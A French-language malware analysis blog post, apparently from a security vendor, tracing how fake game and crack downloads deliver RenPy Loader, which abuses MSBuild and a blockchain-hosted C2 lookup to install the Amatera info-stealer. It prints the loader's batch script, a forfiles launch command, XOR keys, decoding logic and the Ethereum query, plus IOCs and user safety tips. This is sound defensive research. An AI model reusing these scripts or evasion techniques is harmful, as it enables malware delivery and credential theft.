Les faux jeux diffusent des logiciels de vol de données via RenPy Loader, MSBuild et EtherHiding.

| 20 juillet 2026
Logo Ren'Py

Nous avons détecté plusieurs campagnes utilisant de faux téléchargements de jeux, de mods, de cracks et de logiciels pour diffuser RenPy Loader . Une fois installé, ce programme d'infection déclenche une chaîne complexe en plusieurs étapes qui exploite MSBuild et la technique EtherHiding avant de finalement installer Amatera Stealer .

Amatera est un voleur d'informations, un type de logiciel malveillant conçu pour dérober des données sensibles sur un appareil infecté. Il peut cibler les mots de passe et autres données stockées dans les navigateurs, les portefeuilles de cryptomonnaies, les extensions de navigateur, les applications de messagerie et les fichiers locaux. Les identifiants et données de session volés peuvent également permettre aux attaquants d'accéder aux comptes en ligne de la victime.

La victime peut voir ce qui semble être un jeu ou un programme d'installation de logiciel normal, tandis que le logiciel malveillant s'exécute silencieusement en arrière-plan.

RenPy Loader, également connu sous le nom de RenEngine Loader, est particulièrement préoccupant car il exploite Ren'Py, un moteur légitime utilisé pour créer des romans visuels, des jeux narratifs et des fictions interactives. En dissimulant du code malveillant dans des logiciels associés aux jeux vidéo, les attaquants peuvent rendre leurs téléchargements plus crédibles aux yeux des personnes recherchant des jeux, des mods ou des logiciels piratés.

Nous avons déjà constaté que des attaquants détournaient des outils de développement légitimes et des frameworks logiciels émergents, tels que Bun et Deno , pour diffuser des logiciels malveillants. RenPy Loader suit le même schéma : les attaquants exploitent des technologies légitimes pour dissimuler des activités malveillantes, complexifier la chaîne d’infection et rendre la détection plus difficile.

Il a également été observé que RenPy Loader distribuait d'autres logiciels malveillants, notamment HijackLoader et Lumma Stealer, ce qui montre que la charge utile finale peut varier d'une campagne à l'autre.

Dans cet article, nous analysons une chaîne d'infection où Ren'Py déchiffre une archive ZIP contenant un fichier BAT et plusieurs fichiers de projet MSBuild. Ces fichiers chargent un composant .NET infecté par un cheval de Troie, qui décode ensuite un autre composant malveillant.

Ce composant malveillant utilise une technique appelée EtherHiding pour localiser son serveur de commande et de contrôle (C2). Au lieu de stocker l'adresse du C2 directement dans le logiciel malveillant, les attaquants la dissimulent dans des données stockées sur une blockchain publique. Le logiciel malveillant télécharge ensuite les étapes suivantes de l'attaque depuis ce serveur, ce qui rend l'infrastructure des attaquants plus difficile à identifier et à neutraliser.

Enfin, nous examinons les charges utiles supplémentaires qui permettent finalement de déchiffrer et d'exécuter Amatera Stealer.

Les faux téléchargements infectent votre appareil

L'infection débute lorsqu'une personne télécharge un jeu, un mod, un crack ou un logiciel malveillant. Nous avons trouvé des fichiers malveillants distribués via :

  • Sites Web malveillants
  • portails de téléchargement de jeux
  • Plusieurs services de partage de fichiers, dont Wormhole, GoFile, Google Drive et MEGA

Voici quelques-unes des pages détectées qui initient la chaîne d'infection :

Dans plusieurs cas, cliquer sur un lien de téléchargement redirigeait l'utilisateur vers un autre site web frauduleux. Ces pages utilisaient des designs différents et des noms de services fictifs, ce qui permettait de rendre les campagnes moins répétitives et de masquer l'infrastructure malveillante.

Vous trouverez ci-dessous des exemples de fausses pages de téléchargement utilisées pour distribuer l'archive malveillante :

L'utilisateur télécharge une archive contenant un fichier nommé Setup.exeL'ouverture de ce fichier déclenche la chaîne d'infection.

Exemple d'archive téléchargée depuis un site web malveillant
Exemple d'archive téléchargée depuis un site web malveillant

La victime voit un écran de chargement ou d'installation, mais un code malveillant s'exécute en arrière-plan.

L'écran d'installation
L'écran d'installation

Comment rester en sécurité

Quelques précautions peuvent réduire le risque de télécharger des jeux ou des logiciels malveillants :

  • Téléchargez les jeux et les logiciels depuis les sites web officiels, les boutiques d'applications de confiance ou les plateformes de distribution établies.
  • Utilisez avec prudence les logiciels piratés, les mods non officiels et les versions gratuites de jeux payants.
  • Soyez prudent lorsqu'un lien de téléchargement vous redirige vers plusieurs sites web ou services de partage de fichiers inconnus.
  • Vérifiez le contenu des archives téléchargées avant d'ouvrir des fichiers exécutables tels que : Setup.exe.
  • Recherchez les noms de fichiers inhabituels, les images ou fichiers texte sans rapport avec le contenu initial, et tout contenu qui ne correspond pas à ce que vous aviez l'intention de télécharger.
  • Utilisez un logiciel anti-malware en temps réel tel que Malwarebytes .
  • Maintenez à jour votre système d'exploitation, votre navigateur et vos logiciels de sécurité.

Les personnes à l'origine de ces campagnes créent sans cesse de nouveaux sites web et modifient leurs pages de téléchargement. Un programme d'installation d'apparence professionnelle ou un service de partage de fichiers connu ne garantissent pas la sécurité d'un téléchargement.

Analyse technique du chargeur RenPy

Ren'Py est un moteur libre et gratuit permettant de créer des romans visuels, des jeux narratifs et des fictions interactives. Ren'Py autorise l'intégration de scripts Python, une faille exploitée par les attaquants pour insérer du code malveillant.

Dans ce cas précis, nous avons trouvé du code malveillant dans les fichiers et chemins suivants :

Chemin

Description

data/python-packages/sys_config/

Classes anti-bac à sable

data/libwin32.rpa

Chargeur

data/.GEg

Configuration chiffrée par XOR

data/j3lpTcg7kBRN.E3

ZIP chiffré XOR

Le chargeur de première étape extrait de libwin32.rpa effectue les opérations suivantes :

  • Lit la configuration data/.GEg et le déchiffre en utilisant le décodage Base64 et l'opération XOR avec la clé 81034149cd6f48c8821340204f92766eCe fichier de configuration contient le mot de passe utilisé pour extraire le fichier ZIP, ainsi que d'autres données de configuration utilisées par le chargeur.
  • Appels sys_config.is_sandboxed() et se ferme si un environnement sandbox est détecté.
  • Décryptage XOR data/j3lpTcg7kBRN.E3 en utilisant la clé A50YyY1 pour obtenir le code ZIP.
  • Extrait le contenu du fichier ZIP dans un dossier aléatoire sous %TEMP%/tmp-{5 digits}-{12 characters} et écrit un :Zone.Identifier flux de données alternatif (ADS) avec ZoneId=0 pour supprimer la marque du Web et contourner SmartScreen. Il insère également un élément aléatoire REM chaîne de caractères dans le fichier BAT extrait.
  • Lance la charge utile en utilisant forfiles.exe.
  • Envoie le MAC adresse et identifiant de campagne à un site web de suivi.
La configuration décodée
La configuration décodée
Les fichiers contenus dans le ZIP déchiffré
Les fichiers contenus dans le ZIP déchiffré

Dans ce cas, le fichier BAT extrait a été exécuté à l'aide de la commande suivante :

forfiles.exe /p C:\Users\{USER}\AppData\Local\Temp\tmp-07921-lfxH6lX35xOa /m TP2hppNk5.oyb /c "cmd /c ren @file TP2hppNk5.bat && call TP2hppNk5.bat"

Contenu du fichier BAT :

@echo off
setlocal DisableDelayedExpansion
set "_bp=%~f0"
set "_rl=0"
if /i "%~1"=="/launched" set "_rl=1"
if /i "%~2"=="/launched" set "_rl=1"
if /i "%~3"=="/launched" set "_rl=1"
if /i "%~4"=="/launched" set "_rl=1"
if /i "%~5"=="/launched" set "_rl=1"
if /i "%~6"=="/launched" set "_rl=1"
if /i "%~7"=="/launched" set "_rl=1"
if /i "%~8"=="/launched" set "_rl=1"
if /i "%~9"=="/launched" set "_rl=1"
if "%_rl%"=="1" goto :_go
set "_ch=%SystemRoot%\System32\conhost.exe"
if exist "%SystemRoot%\Sysnative\conhost.exe" set "_ch=%SystemRoot%\Sysnative\conhost.exe"
where conhost.exe >nul 2>&1
if %errorlevel% equ 0 (
  endlocal & start "" /b "%_ch%" --headless cmd.exe /c "%_bp%" /launched
) else (
  endlocal & cmd.exe /c "%_bp%" /launched
)
exit /b 0
:_go
endlocal
setlocal EnableExtensions
set MSBUILDENABLEALLPROPERTYFUNCTIONS=1
set "_czzf=%~dp0Nancy.csproj"
set "_pb=%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
REM b64c5053-f19f-4c80-8ac5-e1e3f55b1c1c
if not exist "%_pb%" set "_pb=%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe"
if not exist "%_pb%" (
  exit /b 9
)
"%_pb%" "%~dp0Nancy.csproj" /nologo /v:q >nul 2>&1
endlocal

Le fichier BAT exécuté effectue les opérations suivantes :

  • Se relance dans une console sans interface graphique lorsque cela est pris en charge :
"C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c
  • Active les fonctions de propriété MSBuild, permettant des méthodes supplémentaires telles que AppDomain.CurrentDomain.Load à exécuter :
MSBUILDENABLEALLPROPERTYFUNCTIONS=1
  • Exécute MSBuild.exe avec Nancy.csproj comme fichier de projet. Lors de l'évaluation du projet, une fonction de propriété MSBuild malveillante décode en hexadécimal et charge par réflexion l'étape DLL suivante.

La DLL Nancy infectée par un cheval de Troie et le bytecode personnalisé

Nancy.csproj importe les trois fichiers extraits Nancy.csproj.user, Internal.props, et Nancy.Compile.targetsLa DLL malveillante est répartie sur trois valeurs stockées dans ces fichiers.

Les fichiers importés dans Nancy.csproj
Les fichiers importés à l'intérieur Nancy.csproj

Nancy.Compile.targets concatène les trois valeurs pour décoder la DLL en hexadécimal et exécuter le code. DefaultEvaluator5 méthode utilisant AppDomain.CurrentDomain.Load.CreateInstance.

Exécution de DefaultEvaluator5
Exécution de DefaultEvaluator5

Le plus intéressant, c'est que Nancy.csproj Il remplit deux fonctions : il s’agit du projet MSBuild utilisé pour exécuter le chargeur de première étape, et il contient également l’étape suivante décodée par le chargeur.

La DLL est une version trojanisée de la bibliothèque Nancy .NET et un chargeur .NET obfusqué contenant du code malveillant. DefaultEvaluator5 Certaines fonctionnalités de la DLL sont implémentées dans un bytecode personnalisé exécuté par cette méthode principale.

Comparaison entre les DLL Nancy légitimes et celles infectées par un cheval de Troie
Comparaison entre les DLL Nancy légitimes et celles infectées par un cheval de Troie

La DLL effectue les opérations suivantes :

  • Déchiffre les chaînes de caractères à partir de ressources en utilisant le déchiffrement XOR multi-clés.
  • Résout les API en utilisant le hachage d'API et GetDelegateForFunctionPointer.
  • Modifie les paramètres réseau, notamment en désactivant la validation du certificat TLS et en définissant le proxy système par défaut.
  • Effectue des opérations anti-criminalité.
  • Lit le _czzf variable d'environnement, qui pointe vers la précédente Nancy.csproj Le fichier est ensuite décodé et exécuté.

Le principal DefaultEvaluator5 Cette méthode récupère les chaînes de caractères et interprète le bytecode contenu dans les ressources suivantes :

  • Nancy.Runtime.mvlorimuContient le bytecode personnalisé. Le bytecode est interprété par _pv et _sroIl implémente 23 opcodes utilisés pour décrypter d'autres chaînes et charger la DLL de l'étape suivante.
  • Nancy.Data.tcnlhxw et Nancy.Resources.kxxodp: Contient les chaînes chiffrées et autres données utilisées pour le déchiffrement, y compris les clés, les longueurs, les index et la boîte S.

Les chaînes de caractères sont déchiffrées à l'aide de l'algorithme suivant :

out[j] = data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2]

La prochaine étape DLL, GollopDevest, est décodé à partir du même Nancy.csproj fichier utilisant la logique suivante et chargé avec AppDomain.Load:

for i, k in enumerate(marker_int):
    if k < 256:
        payload[i] = k
    else:
        payload[i] = marker_int[k-256]
L'étape suivante codée entre les marqueurs du pack
L'étape suivante codée entre le Pack marqueurs

EtherHiding et le voleur d'Amatera

L'étape suivante extraite est une DLL appelée GollopDevest.dll, un téléchargeur .NET qui utilise la technique EtherHiding pour obtenir son serveur de commande et de contrôle (C2) et télécharger l'étape suivante.

Le domaine C2 chiffré est obtenu à l'aide d'un JSON-RPC Ethereum. eth_call demande à bsc-dataseed.binance.org:

{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775}

Ce programme de téléchargement EtherHiding fait probablement partie d'une opération de malware-as-a-service (MaaS), car nous l'avons détecté distribué dans d'autres campagnes, y compris des campagnes ClickFix.

Trois charges utiles supplémentaires sont ensuite téléchargées : deux DLL .NET appelées PavinWide (une DLL anti-analyse) et GollopDevest (une DLL de chargement), et un PE C++ appelé WPA.exe, qui est une version obfusquée d’Amatera Stealer.

Dans ce cas, ces charges utiles ont été téléchargées depuis :

  • /assets/ExponeAboard.json
  • /assets/MailersKogasin.json
  • /assets/LanoseThrip.json

Les DLL .NET sont fortement obfusquées à l'aide de l'aplatissement du flux de contrôle et d'appels indirects via calli/ldftn, chaîne chiffrement avec plusieurs algorithmes, du code inutile, du code mort et de fausses chaînes de caractères telles que des chemins d'URL.

L'analyse de ces DLL est toujours en cours et sera explorée plus en détail dans les prochains articles de blog.

Indicateurs de compromission (IOC)

Domaines

  • downpro[.]net – Faux site de téléchargement
  • macisofile[.]sbs – Faux site de téléchargement
  • visitmama[.]blog – Faux site de téléchargement
  • visitmama[.]guru – Faux site de téléchargement
  • getgamerfree[.]com – Faux site de téléchargement
  • fullgames[.]digital – Faux site de téléchargement
  • flingbase[.]net – Faux site de téléchargement
  • citronemu[.]com – Faux site de téléchargement
  • filemodo[.]xyz – Infrastructure de distribution
  • storage06x[.]cfd – Infrastructure de distribution
  • p03sil[.]cyou – Infrastructure de distribution
  • wimsedas[.]xyz – Infrastructure de distribution
  • againstmor[.]store – Infrastructure de distribution
  • host03q[.]cfd – Infrastructure de distribution
  • cloud01y[.]cfd – Infrastructure de distribution
  • storage11x[.]cfd – Infrastructure de distribution
  • storage04x[.]cfd – Infrastructure de distribution
  • host82p[.]cfd – Infrastructure de distribution
  • cloud05y[.]cfd – Infrastructure de distribution
  • analyticstrack-pzh[.]click - Localisation du site Web
  • login.orbitalframework[.]cc – Amatera Stealer C2

adresses IP

  • 144.124.251[.]171 – Utilisé pour obtenir des charges utiles supplémentaires
  • 195.63.140[.]33 – Utilisé pour obtenir des charges utiles supplémentaires
  • 78.40.196[.]252 – Utilisé pour obtenir des charges utiles supplémentaires

Hachages de fichiers (MD5)

  • 29203ca123d51b1b33505a0813d360df – Chargeur de première étape (DLL infectée par un cheval de Troie)
  • 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (DLL de téléchargement)
  • 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (DLL anti-analyse)
  • 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (DLL de chargement)
  • F8453EFE408CE25B9484F872797E3D63 – Charge utile finale

Prix ​​Choix des Rédacteurs CNET 2026

Selon CNET. Lire leur article →


À propos de l'auteur

Gabriele est ingénieur de recherche en logiciels malveillants et passionné par la lutte contre les logiciels malveillants. Lorsqu'il n'est pas occupé à cela, il aime profiter de la nature, de l'art et des animaux.